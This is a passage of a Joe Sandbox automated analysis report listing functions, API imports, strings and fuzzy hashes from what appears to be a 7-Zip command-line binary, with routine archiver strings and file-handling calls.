Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: e021971f243c9fea39bb415f90c700eab78ade398cc3b993660b20944e3800b0
Instruction ID: 587f071a728a26ac60aff1c07feb53bf608b6aef4574d696f6338e6975eb7f59
Opcode Fuzzy Hash: e021971f243c9fea39bb415f90c700eab78ade398cc3b993660b20944e3800b0
Instruction Fuzzy Hash: 8A01A2227205608BE7215B3D9C80B6D6294B708BE5F944335FE4ACBBD0DA29CD86CB81

Function 00C4ACDC Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

Strings

ERROR: Can't allocate required memory!, xrefs: 00C4ACF6
Break signaled, xrefs: 00C4AD14
System ERROR:, xrefs: 00C4AD34

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs
String ID: Break signaled$ERROR: Can't allocate required memory!$System ERROR:
API String ID: 1795875747-932691680
Opcode ID: adcba0a3c55dea3e12b275e3b9947d53b3d55053ca3c8ce761ccfc27961a96f0
Instruction ID: ca25ba2ee0dffaefcc0beb4a1d9e97e64fe0a0000038a1b5889da6504e67812a
Opcode Fuzzy Hash: adcba0a3c55dea3e12b275e3b9947d53b3d55053ca3c8ce761ccfc27961a96f0
Instruction Fuzzy Hash: 93017571681D04DAEB18EF21EC907A82320F795785FC45621E90D47674EF38C9C5D742

Function 00C0695C Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNEL32 ref: 00C0697E
RemoveDirectoryW.KERNEL32 ref: 00C069B8
free.MSVCRT ref: 00C069C8
free.MSVCRT ref: 00C069D6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: DirectoryRemovefree
String ID:
API String ID: 736856642-0
Opcode ID: efb7360f27999ac7bd03661593c0501c8d3dd599b59c9a8bab47d3410f2a5fdb
Instruction ID: a5fd6772c23cc7bf9715e8bc1c5e1ab7a7a0f7349ddbaba118f16ecd8aa2f37d
Opcode Fuzzy Hash: efb7360f27999ac7bd03661593c0501c8d3dd599b59c9a8bab47d3410f2a5fdb
Instruction Fuzzy Hash: 15F0A42220870085D930AF21D99433D5334AB8A7F5F480321AEB987BE5CE29CA5AD700

Function 00C02EF4 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00C02F5B

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

memmove.MSVCRT(?,Unsupported switch postfix -stm,00000000,00C0302B,?,?,?,?,00C03698), ref: 00C02F2C
free.MSVCRT ref: 00C02F34

Strings

Unsupported switch postfix -stm, xrefs: 00C02EF6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrow$freemallocmemmove
String ID: Unsupported switch postfix -stm
API String ID: 3321538808-3553869907
Opcode ID: 3ba05a05aa46c940f23773d9ce02a237b61b661c07e43798567cd67be696040c
Instruction ID: 96facdd159edb3bf767318cf5da10dc91f89597205c2361619f231baadfb1618
Opcode Fuzzy Hash: 3ba05a05aa46c940f23773d9ce02a237b61b661c07e43798567cd67be696040c
Instruction Fuzzy Hash: DCF0F07670029586DB38AF8AE48026DA361F7847D0F14C025DB8A07B51CE39D886CB05

Function 00C02A9C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00C02AFD

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

memmove.MSVCRT ref: 00C02ACE
free.MSVCRT ref: 00C02AD6

Strings

(LP-, xrefs: 00C02A9E

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrow$freemallocmemmove
String ID: (LP-
API String ID: 3321538808-3833670221
Opcode ID: dee4ccff2bc834ea296647a4ce6a28e4725f2e66e5f6a145a280ef756b46b2c7
Instruction ID: 018d3362e07c25099ad610391da8632f6631dce818ff36acaf193c6b8d3437f0
Opcode Fuzzy Hash: dee4ccff2bc834ea296647a4ce6a28e4725f2e66e5f6a145a280ef756b46b2c7
Instruction Fuzzy Hash: 86F0BE7670024586DB38EF4AE8846AEB321F7887D4F24C025EF9A07754DE39D887DB00

Function 00C4BF24 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4BF61
fputs.MSVCRT ref: 00C4BF71
fputs.MSVCRT ref: 00C4BF7D

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

free.MSVCRT ref: 00C4BF91

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$fputcfree
String ID:
API String ID: 3819637083-0
Opcode ID: eae9d0b3d4822125a0af48fe465b7a3762b83d2397cc5a4e6371e8094d4e32a9
Instruction ID: ff0c315afab8d304676890b18cab19e2b37fb4c68e7dcccb12968a2b4789e7d2
Opcode Fuzzy Hash: eae9d0b3d4822125a0af48fe465b7a3762b83d2397cc5a4e6371e8094d4e32a9
Instruction Fuzzy Hash: 08F0F46620494081EA20DF26E9547596321BB99BF5F045321EEAE077E4DE38C546D700

Function 00C43E08 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C43E51

Part of subcall function 00C42B60: CompareFileTime.KERNEL32(?,?,?,00000000,00C43E64), ref: 00C42BA5

Strings

alternate streams, xrefs: 00C43E2D
files, xrefs: 00C43E14
streams, xrefs: 00C43E64

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CompareFileTimememmove
String ID: alternate streams$files$streams
API String ID: 1303509325-806849385
Opcode ID: be883e452b7650b9078f8113c3e616bbeedde65b08412c4df6c6f1594ccd81f0
Instruction ID: 420d42b51da4ffda1b3d9be78f4378b11cc160506862407ba8ee9bc4f09bf10b
Opcode Fuzzy Hash: be883e452b7650b9078f8113c3e616bbeedde65b08412c4df6c6f1594ccd81f0
Instruction Fuzzy Hash: D9F0C2563109A962FB24EB26D945BD86320FB94BC8FC05112AA0D07E55DF38D3DAC700

Function 00C06618 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32 ref: 00C06676

Part of subcall function 00C0339C: free.MSVCRT ref: 00C033D7
Part of subcall function 00C0339C: memmove.MSVCRT(00000000,?,?,00000000,00C010A8), ref: 00C033F2

LocalFree.KERNEL32 ref: 00C06698

Strings

Error #, xrefs: 00C06714

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: FormatFreeLocalMessagefreememmove
String ID: Error #
API String ID: 2451246624-1299485822
Opcode ID: 99fd73fc856dad1e88b4ccb444db1a8165f30a332f2d2e9cd02aa09722ea5f5f
Instruction ID: e6e93fe3e4e38278c8701b7061f4ecb5e513aded5a5e53f158b71316a282679a
Opcode Fuzzy Hash: 99fd73fc856dad1e88b4ccb444db1a8165f30a332f2d2e9cd02aa09722ea5f5f
Instruction Fuzzy Hash: CC21663221828086DB20CF19E04079D73B5F3C5BA8F848226DA99477D4DF7DC289CB10

Function 00C049A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

UNC, xrefs: 00C04A59

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID: UNC
API String ID: 0-337201128
Opcode ID: caa09ef79893b1e0c723e2139b0e345877b12b567cf7e66d5e2a6cc5cce0967e
Instruction ID: 97d50096f024e4c580a3695b8b46ba7efb57b7204870ed6aa43e7be01a4c7fa0
Opcode Fuzzy Hash: caa09ef79893b1e0c723e2139b0e345877b12b567cf7e66d5e2a6cc5cce0967e
Instruction Fuzzy Hash: DD216AB6340644C6EF28CB16D890B6A2364E744B85F14903BDF69477A0EB39CE89E701

Function 00C405F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C40661
free.MSVCRT ref: 00C40680

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

Strings

ERROR: , xrefs: 00C4065A

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: ERROR:
API String ID: 2276422817-977468659
Opcode ID: 0a7d431d3d93fe7a35051c5d28ee4a1495dab2c659ca31c2bdbd5e7bd3781aa1
Instruction ID: 9bd40f541e0b2eb9d71120cbe79798c17797bba75732b86f35792bf6272e9938
Opcode Fuzzy Hash: 0a7d431d3d93fe7a35051c5d28ee4a1495dab2c659ca31c2bdbd5e7bd3781aa1
Instruction Fuzzy Hash: 7B118262201A0041DA24FB62ED6976E6320BBC5BE4F084625AF6B477E1DF3CD885D340

Function 00C0B45C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 00C0B4AA
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 00C0B4F8

Strings

Path64, xrefs: 00C0B45C

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: QueryValue
String ID: Path64
API String ID: 3660427363-321863482
Opcode ID: ce2d8586953f7850c663cd00a09a8bd9eb970d832503358bfea85760a13bb2cd
Instruction ID: 461081560261d4e0807deac02bd0dd5ea8067e7bd6c1eb1ee0c7edfa9837d098
Opcode Fuzzy Hash: ce2d8586953f7850c663cd00a09a8bd9eb970d832503358bfea85760a13bb2cd
Instruction Fuzzy Hash: B6214C73615A40C7EB14CF25E45472E77A0F794B84F60912AEB8907BA8DB3CC985CF40

Function 00C4427C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C442DF

Strings

Can not open the file as archive, xrefs: 00C442D8
Can not open encrypted archive. Wrong password?, xrefs: 00C44297

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs
String ID: Can not open encrypted archive. Wrong password?$Can not open the file as archive
API String ID: 1795875747-2399861261
Opcode ID: f39ddb69ac3a88cb739d838ad3232ca34d4044717459bc95227d5b49b5a19886
Instruction ID: 21d27de220330ef9303b588b45dcdf8f07bbae6cc02fe18df848dc7c27a3973a
Opcode Fuzzy Hash: f39ddb69ac3a88cb739d838ad3232ca34d4044717459bc95227d5b49b5a19886
Instruction Fuzzy Hash: F401D6A6310A4592EF28EF26E86575D1321BB84BC1F649032EE0B47350DE7DD595D300

Function 00C093D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 00C0941A
wcscmp.MSVCRT ref: 00C09430

Strings

\??\, xrefs: 00C093E6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: wcscmp
String ID: \??\
API String ID: 3392835482-3047946824
Opcode ID: 877544d1592a68484731fd63782ff1f2adae2ffaa1fbb9196b429caabd26276c
Instruction ID: d8c103cfa85960272153c9b6be7426ab7eebc52ac486adc2191989923b8a6ef2
Opcode Fuzzy Hash: 877544d1592a68484731fd63782ff1f2adae2ffaa1fbb9196b429caabd26276c
Instruction Fuzzy Hash: 8EF0906220454493DE149F6AD9E032C2321FB84B95FD09836CB5A47A55CF30C4FBC310

Function 00C41FE8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C42011

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

Strings

Scan, xrefs: 00C42036
Scanning, xrefs: 00C4200A

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputcfputs
String ID: Scan$Scanning
API String ID: 269475090-1436252306
Opcode ID: a333a3b1a96c340ffed71d634d5d0848bf1607734463fe365d44e1a31faf7854
Instruction ID: 8cf9a60c593c52493a667758ba3d3e3b2d1731bc2b3aa387f270aeb1b0750bcd
Opcode Fuzzy Hash: a333a3b1a96c340ffed71d634d5d0848bf1607734463fe365d44e1a31faf7854
Instruction Fuzzy Hash: DEF0B47230194191EB04DF34C959B6C2360F740B88F8882219B0E4B1A4DF69C9C6C310

Function 00C0AFA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32 ref: 00C0AFC7
_CxxThrowException.MSVCRT ref: 00C0AFEE

Strings

out of memory, xrefs: 00C0AFD6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AllocExceptionStringThrow
String ID: out of memory
API String ID: 3773818493-2599737071
Opcode ID: ce28fcea7ee96d73b8b783164c7ae5dc4e7789fb7bb4cf3f4b3e7c6f29d84c20
Instruction ID: 1781ee791a85e7948c02a9fab3c8809af4ba81a0d81afea2680d1a3a84a07f11
Opcode Fuzzy Hash: ce28fcea7ee96d73b8b783164c7ae5dc4e7789fb7bb4cf3f4b3e7c6f29d84c20
Instruction Fuzzy Hash: 59F0A062301B8582EB049F11E994B0C7370FF89784F649024CB5C07B24EFB9C8A9C700

Function 00C4B7C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4B7E4

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

Strings

Scanning the drive:, xrefs: 00C4B7DD
Scan , xrefs: 00C4B7F6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputcfputs
String ID: Scan $Scanning the drive:
API String ID: 269475090-1085461122
Opcode ID: a2747e59b778fe73a74f06889e3ba295ca3352f4c342e3460064b847c51e33a6
Instruction ID: f20ba20dae9d1b97d993a304be4073657c2461c477eac6c8920014aed9297f84
Opcode Fuzzy Hash: a2747e59b778fe73a74f06889e3ba295ca3352f4c342e3460064b847c51e33a6
Instruction Fuzzy Hash: AAE08669301D4181EE05DF29EE9975C1331AB44BE5F945621EE1D47264EF18C9DAC310

Function 00C2EC5C Relevance: 5.3, APIs: 4, Instructions: 261COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C2ECEE
free.MSVCRT ref: 00C2ECF6
free.MSVCRT ref: 00C2EFE3
free.MSVCRT ref: 00C2EFEB

Part of subcall function 00C04D78: free.MSVCRT ref: 00C04DBC
Part of subcall function 00C04D78: free.MSVCRT ref: 00C04DC4
Part of subcall function 00C04D78: free.MSVCRT ref: 00C04EAC

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2568c4c8a93fed0a7db5756fe4b5abc77c557bdbfdb6e41abb2639136c3796b8
Instruction ID: 59b841d19d2c30be4a5596eba060496a89c874a0a5959f5264fb1c90f938b1d3
Opcode Fuzzy Hash: 2568c4c8a93fed0a7db5756fe4b5abc77c557bdbfdb6e41abb2639136c3796b8
Instruction Fuzzy Hash: 89A1D0323047A1D6CB20DF26E5843AE7760F788B90F15412ADFAA57BA5EF39C955C700

Function 00C059E0 Relevance: 5.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C05ABB
free.MSVCRT ref: 00C05ACE
free.MSVCRT ref: 00C05AD6
memmove.MSVCRT ref: 00C05AEE

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 690fc6323045f1499638e60008430e199e5b92b8d4d6359a2f546a67527e5006
Instruction ID: ebde2a040e00d182fd8d125f7bd274aaddc8f1387c9c3185bcc020cd8ade055d
Opcode Fuzzy Hash: 690fc6323045f1499638e60008430e199e5b92b8d4d6359a2f546a67527e5006
Instruction Fuzzy Hash: B341A272204E8097CB20EF22E49002FB761F781FE4B545212EB6A17BE8DB38D952DF00

Function 00C325DC Relevance: 5.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3279A
free.MSVCRT ref: 00C327A7
free.MSVCRT ref: 00C327B4
free.MSVCRT ref: 00C327C1
free.MSVCRT ref: 00C333CE
free.MSVCRT ref: 00C333DB
free.MSVCRT ref: 00C333E8
free.MSVCRT ref: 00C333F5
free.MSVCRT ref: 00C33430
free.MSVCRT ref: 00C3343B
free.MSVCRT ref: 00C33444
free.MSVCRT ref: 00C3344F
free.MSVCRT ref: 00C3345D
free.MSVCRT ref: 00C33484
free.MSVCRT ref: 00C3348D
free.MSVCRT ref: 00C3349B
free.MSVCRT ref: 00C334A6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2d395fef6bf6d2161f205ad2dbd11117f8f32b2c6da05af5b4328dea44ce9941
Instruction ID: f0d08b179e7fce55c2320a7bc4c01bd20f7d209d149ad2ed886ebaa23cad1add
Opcode Fuzzy Hash: 2d395fef6bf6d2161f205ad2dbd11117f8f32b2c6da05af5b4328dea44ce9941
Instruction Fuzzy Hash: 2241CC7212C6C082CE358B21E054AEEBB75F386784F059006DBD953B5ACE38CE80DB81

Function 00C16B58 Relevance: 5.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C16B98
free.MSVCRT ref: 00C16C80
free.MSVCRT ref: 00C16C88
free.MSVCRT ref: 00C16C9E

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 87ddd31ae5fda347235228c36177d9caa1af38e3f2d78a0fbcc62b30e0d1f058
Instruction ID: 2b45c6995323cd49b029c61b7e520100cf315036fea13007fdc57c9a37c0af03
